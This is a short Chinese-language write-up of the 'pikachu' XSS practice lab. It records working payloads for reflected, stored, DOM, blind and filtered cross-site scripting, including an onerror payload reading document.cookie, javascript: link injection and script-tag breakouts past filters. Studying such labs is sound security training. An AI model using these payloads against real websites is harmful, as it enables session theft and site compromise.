xss-pikachu
1.反射型(get)
尝试
<script>alert(1)</script>
输入框有长度限制,尝试放到url
成功
2.反射型(post)
账号admin,密码123456
尝试后发现<script>被过滤,尝试图片报错
<img src=1 onerror=alert(document.cookie)>
成功
3.存储型
<script>alert(123)</script>
4.dom型
点击click后,执行domxss函数,该函数获取id为text标签的value值,拼接之后赋给id为dom的标签内容
innerHtml是<div>标签内的文本,输入输出到该DOM内部纯HTML代码(获得td、div等html元素时,他们没有value或是text属性,只能用innerHtml);value是表单元素特有的属性,输入输出的是字符串。
即id为dom的标签实际的结构应为
<div id="dom"><a href='"+str+"'>what do you see?</a></div>
构造a标签的js脚本闭合
<div id="dom"><a href='"javascript:alert(1)"'>what do you see?</a></div>
payload应为
javascript:alert(1)
成功
5.dom型xss-x
挖坑,以后填
6.xss盲打
在上下两个框均可以使用payload
<script>alert(1)</script>
7.xss过滤
<script>被过滤
尝试双写
<scr<script>ipt>alert(123)</script>
发现双写和</script>也被过滤
尝试图片报错
<img src=1 onerror=alert(1)>
成功
8.xss之htmlspecialchars
尝试上面的payload,发现没有被识别为html标签
输入123时
似乎可以尝试a标签注入
javascript:alert(1)
成功
9.xss之href输出
尝试了输入百度的地址,似乎还是可以用a标签注入
尝试
javascript:alert(1)
成功
10.xss之js输出
直接尝试a标签
javascript:alert(1)
似乎不行
当输入不为tmac时,代码打印了我们的输入,但好像没什么用
尝试在此处的代码中构造闭合
'</script><script>alert(123)</script>
如下,相当于插入了一条alert语句
成功